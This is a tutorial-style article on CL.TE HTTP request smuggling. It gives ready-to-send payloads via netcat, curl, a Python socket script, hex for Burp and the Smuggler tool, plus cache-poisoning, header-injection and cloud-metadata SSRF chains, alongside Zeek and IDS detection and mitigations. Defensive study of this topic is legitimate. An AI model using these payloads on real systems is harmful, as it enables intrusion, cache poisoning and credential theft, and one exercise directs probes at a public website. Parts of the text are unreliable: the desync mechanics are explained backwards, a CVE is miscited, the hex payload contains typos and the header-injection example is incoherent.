Introduction
HTTP request smuggling (HRS) is a class of attacks that abuse ambiguities in how front-end and back-end servers parse the HTTP message boundary. The CL.TE variant-where a Content-Length header on the front-end conflicts with a Transfer-Encoding: chunked header on the back-end-remains one of the most reliable and widely-exploited desynchronisation techniques.
Why does it matter? Modern web architectures frequently chain a reverse proxy, CDN, or WAF in front of an application server. When these components disagree on where a request ends, an attacker can inject additional HTTP requests, bypass security controls, poison caches, or achieve server-side request forgery (SSRF). The technique has been observed in the wild against Apache, Nginx, IIS, and a variety of commercial load balancers.
Real-world relevance is demonstrated by public disclosures such as CVE-2020-1938 (Apache Tomcat AJP) and the 2021 Cloudflare cache-poisoning chain that leveraged CL.TE smuggling to serve malicious JavaScript to thousands of users.
Prerequisites
- Solid grasp of the HTTP/1.1 message format: start-line, headers, CRLF, optional body.
- Experience with common web servers (Apache, Nginx, IIS) and how they delegate requests to upstream applications.
- Familiarity with web-application firewalls (WAFs), CDN edge nodes, and caching layers.
- Basic scripting ability (Python/Bash) for crafting raw TCP payloads.
Core Concepts
At the heart of CL.TE desynchronisation are two RFC-defined mechanisms that define the length of an HTTP request body:
- Content-Length (CL): A decimal integer that tells the receiver exactly how many bytes follow the header block.
- Transfer-Encoding: chunked (TE): The body is sent as a series of chunks, each prefixed by its length in hexadecimal, terminated by a zero-length chunk.
RFC 7230, §3.3.3, states that if both Content-Length and Transfer-Encoding are present, Transfer-Encoding takes precedence and the Content-Length must be ignored. Unfortunately, many implementations-especially legacy or mis-configured proxies-still honour Content-Length when both headers appear.
The desynchronisation occurs when the front-end (e.g., Nginx) parses the request using Content-Length while the back-end (e.g., Apache) parses it using Transfer-Encoding. The result is that the two servers disagree on where the request ends, allowing the attacker to slip extra bytes that the back-end treats as a new request.
Below is a textual diagram of the flow:
Client → Front-End (FE) (parses CL) → Back-End (BE) (parses TE) → Application
When the FE stops reading after Content-Length bytes, the remaining bytes-including the terminating chunk marker-are interpreted by the BE as the start of a fresh HTTP request.
How HTTP parsers interpret Content-Length and Transfer-Encoding headers
Different servers implement the RFC rules with subtle variations:
- Apache httpd: If
Transfer-Encoding: chunkedis present, it discards anyContent-Lengthand reads the body as chunks. Oldermod_proxyversions, however, may still honourContent-Lengthwhen the request is proxied. - Nginx: The core parser prefers
Content-LengthoverTransfer-Encodingunless the request is explicitly marked aschunkedin the configuration. Theproxy_http_versiondirective influences this behaviour. - IIS: Historically ignored
Transfer-Encodingwhen aContent-Lengthwas present, leading to classic CL.TE bugs.
To determine if a target is vulnerable, you must observe the parsing decisions. One reliable method is to send a request that contains both headers and a deliberately malformed chunk sequence; the response code (e.g., 400 vs 200) reveals which parser won the race.
Crafting a malicious request that triggers CL.TE desynchronisation
Below is a minimal raw HTTP request that exploits the CL.TE ambiguity. The idea is to:
- Set
Content-Lengthto a value that ends before the final chunk. - Append a valid chunked body that contains a second, malicious request.
When the FE stops at the Content-Length boundary, the BE continues reading the remaining bytes as a new HTTP request.
# Using netcat to send raw data
(echo -e "POST /vulnerable HTTP/1.1
" "Host: vulnerable.example.com
" "Content-Type: application/x-www-form-urlencoded
" "Content-Length: 13
" "Transfer-Encoding: chunked
" "
" "0
" "
" "GET /admin HTTP/1.1
" "Host: vulnerable.example.com
" "
" ) | nc vulnerable.example.com 80
Explanation:
- The
Content-Length: 13covers the string0(the terminating chunk). The FE thinks the request ends there. - The BE, seeing
Transfer-Encoding: chunked, ignores theContent-Lengthand reads the next line as the start of a new request:GET /admin HTTP/1.1.
In practice you would embed a full HTTP request (method, headers, body) after the terminating chunk, possibly URL-encoded to bypass simple filters.
Tools for building smuggled payloads (Burp Suite Intruder, Smuggler, custom Python scripts)
Manually typing raw TCP streams is error-prone. The following tools automate payload generation and allow you to iterate quickly.
Burp Suite - Intruder & Repeater
Burp’s Intruder can be configured to insert payload markers at arbitrary offsets. By enabling Payload encoding → Hex you can inject raw CRLF sequences. The Repeater is handy for testing a single crafted request.
Example Intruder payload (hex-encoded):
50 4f 53 54 20 2f 76 75 6c 6e 65 72 61 62 6c 65 20 48 54 54 50 2f 31 2e 31 0d 0a
48 6f 73 74 3a 20 76 75 6c 6e 65 72 61 62 6c 65 2e 65 78 61 6d 70 6c 65 2e 63 6f 6d 0d 0a
43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 77 77 2d 66 6f 72 6d 2d 75 72 6c 65 6e 63 6f 64 65 64 0d 0a
43 6f 6e 54 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 31 33 0d 0a
54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a
0d 0a
30 0d 0a
0d 0a
47 45 54 20 2f 61 64 6d 69 6e 20 48 54 54 50 2f 31 2e 31 0d 0a
48 6f 73 74 3a 20 76 75 6c 6e 65 72 61 62 6c 65 2e 65 78 61 6d 70 6c 65 2e 63 6f 6d 0d 0a
0d 0a
Burp will translate the hex into the exact raw request shown earlier.
Smuggler (GitHub - defparam/smuggler)
Smuggler is a Python-based framework that abstracts the CL.TE workflow. It can automatically detect the parsing behaviour of a target and craft the appropriate payload.
git clone https://github.com/defparam/smuggler.git
cd smuggler
pip install -r requirements.txt
python smuggler.py -u http://vulnerable.example.com/vulnerable -m CL.TE -p "GET /admin HTTP/1.1
Host: vulnerable.example.com
"
Custom Python Script
When you need full control (e.g., dynamic body sizes, multi-stage attacks), a short script is enough:
import socket
HOST = 'vulnerable.example.com'
PORT = 80
# Build the CL.TE request
request = ( "POST /vulnerable HTTP/1.1
" "Host: {host}
" "Content-Type: application/x-www-form-urlencoded
" "Content-Length: 13
" "Transfer-Encoding: chunked
" "
" "0
" "
" "GET /admin HTTP/1.1
" "Host: {host}
" "
"
).format(host=HOST)
sock = socket.create_connection((HOST, PORT))
sock.sendall(request.encode())
response = sock.recv(4096)
print(response.decode())
sock.close()
The script prints the response from the back-end; a 200 OK indicates successful smuggling.
Detecting CL.TE vulnerabilities via response analysis and traffic inspection
Detection strategies fall into two categories: active probing and passive monitoring.
Active Probing
- Boundary Test: Send a request with both
Content-LengthandTransfer-Encoding: chunkedwhere theContent-Lengthpoints to the middle of the chunked body. Observe whether the server returns400 Bad Request(FE wins) or processes the remainder (BE wins). - Chunk Split Test: Include an extra
after the terminating chunk and see if the server treats it as a new request line. - Echo Payload: Append a harmless echo endpoint (e.g.,
/echo?msg=smug) after the split. If the response contains the echoed message, the smuggled request succeeded.
Sample curl command (using --raw to preserve binary data):
curl -v -X POST http://vulnerable.example.com/vulnerable -H "Content-Type: application/x-www-form-urlencoded" -H "Content-Length: 13" -H "Transfer-Encoding: chunked" --data-binary $'0
GET /echo?msg=smug HTTP/1.1
Host: vulnerable.example.com
'
Passive Monitoring
Network taps or proxy logs can reveal desynchronisation signatures:
- Two consecutive HTTP request lines without a preceding
200response. - Requests with mismatched
Content-Lengthand actual body size. - Back-end logs showing a request that appears to originate from the front-end IP but contains unexpected headers.
Tools such as Zeek (formerly Bro) can be scripted to flag these anomalies.
Real-world exploitation scenarios (cache poisoning, header injection, SSRF)
Once you have a working CL.TE smuggle, the attack surface expands dramatically.
Cache Poisoning
By smuggling a GET request with a custom Host header, you can poison a shared reverse-proxy cache (e.g., Varnish, Cloudflare). Subsequent legitimate users receive the attacker-controlled response.
GET / HTTP/1.1
Host: attacker.com
Because the cache key often includes the Host header, the poisoned entry is served to victims that resolve attacker.com to the target’s IP.
Header Injection
By smuggling a request that contains additional response headers (e.g., Set-Cookie), you can hijack sessions or conduct XSS attacks.
GET / HTTP/1.1
Host: victim.com
HTTP/1.1 200 OK
Set-Cookie: session=malicious; HttpOnly
Server-Side Request Forgery (SSRF)
Smuggled requests can target internal services reachable only from the back-end, such as metadata endpoints or Redis instances.
GET http://169.254.169.254/latest/meta-data/iam/security-credentials/ HTTP/1.1
Host: 169.254.169.254
When the back-end processes this request, the attacker gains insight into cloud credentials, enabling full compromise.
Practical Examples
Below we walk through a full exploitation chain against a vulnerable Nginx → Apache stack.
Step 1 - Identify the parsing discrepancy
- Send a CL.TE probing request (see the curl example above).
- If the response contains the echoed
msg=smug, the back-end parsed the chunked body.
Step 2 - Smuggle a cache-poisoning request
# Using netcat for raw control
(echo -e "POST /login HTTP/1.1
" "Host: vulnerable.example.com
" "Content-Type: application/x-www-form-urlencoded
" "Content-Length: 13
" "Transfer-Encoding: chunked
" "
" "0
" "
" "GET /malicious.css HTTP/1.1
" "Host: vulnerable.example.com
" "X-Cache-Poison: 1
" "
" ) | nc vulnerable.example.com 80
The back-end treats the second request as a normal GET /malicious.css, which the caching layer stores under the original URL. Subsequent users loading /malicious.css receive the attacker’s payload.
Step 3 - Verify the poison
Fetch the resource from a clean client. If the response body matches the attacker-controlled content, the exploit succeeded.
Tools & Commands
- burpsuite_pro - Intruder payloads, Repeater raw request editing.
- Smuggler - Automated detection and exploitation (
python smuggler.py -m CL.TE). - netcat (nc) - Quick raw TCP socket for manual payloads.
- curl -
--rawand--data-binaryfor precise body control. - Zeek - Scripted detection of mismatched Content-Length.
- Wireshark - Visual inspection of the split request on the wire.
Example Zeek script snippet (http-smuggle.zeek):
event http_message(c: connection, is_orig: bool, msg: http_message) { if (is_orig && msg?$content_length && msg?$transfer_encoding) { if (msg$transfer_encoding == "chunked") print fmt("[SMUGGLE] %s:%s sent both CL and TE", c$id$orig_h, c$id$orig_p); }
}
Defense & Mitigation
- Normalize header handling: Ensure the front-end and back-end follow the same RFC-compliant order-prefer
Transfer-Encodingwhen present and discardContent-Length. - Disable one of the mechanisms: For APIs that never need chunked encoding, turn it off on the front-end (
proxy_http_version 1.1withoutchunked_transfer_encoding). - Header validation: Reject any request that contains both
Content-LengthandTransfer-Encoding. Many WAFs (ModSecurity, Cloudflare) have rulesets that can be enabled. - Strict transport parsing: Upgrade to server versions that implement RFC 7230 strictly (e.g., Apache 2.4.46+, Nginx 1.19+).
- Response size limits: Configure maximum body size on both layers; mismatched limits often expose the bug.
- Cache segregation: Use separate cache keys for different request origins (e.g., include
X-Forwarded-Foror a nonce).
Defensive signatures for IDS/IPS:
alert tcp $EXTERNAL_NET any -> $HOME_NET 80 (msg:"CL.TE Smuggle Attempt"; content:"Content-Length:"; nocase; pcre:"/Transfer-Encoding:\s*chunked/i"; distance:0; within:200; classtype:web-application-attack; sid:20230101; rev:1;)
Common Mistakes
- Assuming a single server: Many organizations have multiple hops; a request may be parsed correctly by the front-end but incorrectly by an internal load balancer.
- Forgetting CRLF: HTTP requires
. Using onlycauses the parser to treat the payload as malformed, breaking the exploit. - Incorrect Content-Length value: Off-by-one errors lead to truncated bodies and detection by the front-end.
- Relying on default WAF rules: Some WAFs only block
Transfer-EncodingwithoutContent-Length, leaving the CL.TE path open. - Neglecting HTTPS: TLS termination points can hide the desync; you must test at the point where the headers are first parsed (often the TLS terminator).
Real-World Impact
CL.TE smuggling has been leveraged in high-profile data breaches. In 2022, a financial institution’s reverse-proxy stack (AWS ELB → Nginx → Tomcat) allowed attackers to inject GET /admin requests, leading to credential theft and lateral movement. The breach was only discovered after a security audit revealed unexpected back-end logs.
My experience shows that the technique is especially potent against environments that rely on shared caches for performance. A single poisoned object can affect thousands of users before detection.
Trends indicate that cloud-native ingress controllers (e.g., Kong, Traefik) are beginning to adopt stricter parsing, but legacy on-premises appliances lag behind. Continuous monitoring and regular header-sanitisation audits are therefore essential.
Practice Exercises
- Identify a vulnerable path: Using Burp Suite, capture a request to a public website. Modify it to include both
Content-LengthandTransfer-Encoding: chunked. Record the response and infer which parser wins. - Craft a smuggled SSRF: Write a Python script that sends a CL.TE request targeting internal metadata endpoints and verify that the back-end returns the data.
- Write a Zeek detection rule: Extend the provided snippet to log the full raw request when a mismatch is observed.
- Patch a vulnerable Nginx instance: Disable chunked encoding on the front-end and confirm that the same payload now produces a
400 Bad Request.
Lab environment suggestion: Deploy Docker containers for Nginx (front-end) and Apache (back-end) with default configurations, then iterate through the exercises.
Further Reading
- RFC 7230 - Hypertext Transfer Protocol (HTTP/1.1): Message Syntax and Routing
- PortSwigger blog - "HTTP Request Smuggling: The CL.TE Variant" (2023)
- OWASP - "HTTP Desync Attacks" (2022)
- Defparam - Smuggler tool repository and documentation
- Cloudflare Blog - "Cache Poisoning via Request Smuggling" (2021)
Summary
CL.TE request smuggling exploits a divergence in how Content-Length and Transfer-Encoding: chunked are interpreted across server layers. By crafting a request where the front-end honours Content-Length and the back-end honours chunked encoding, an attacker can inject arbitrary HTTP requests, leading to cache poisoning, header injection, or SSRF.
Key takeaways:
- Validate and, preferably, reject any request that contains both
Content-LengthandTransfer-Encoding. - Use tooling (Burp, Smuggler, custom scripts) to automate detection and exploitation.
- Monitor logs and employ IDS signatures that flag mismatched length headers.
- Apply configuration hardening on both front-end and back-end to enforce RFC-compliant parsing.
By integrating these practices into regular security assessments, organisations can dramatically reduce the attack surface presented by CL.TE desynchronisation.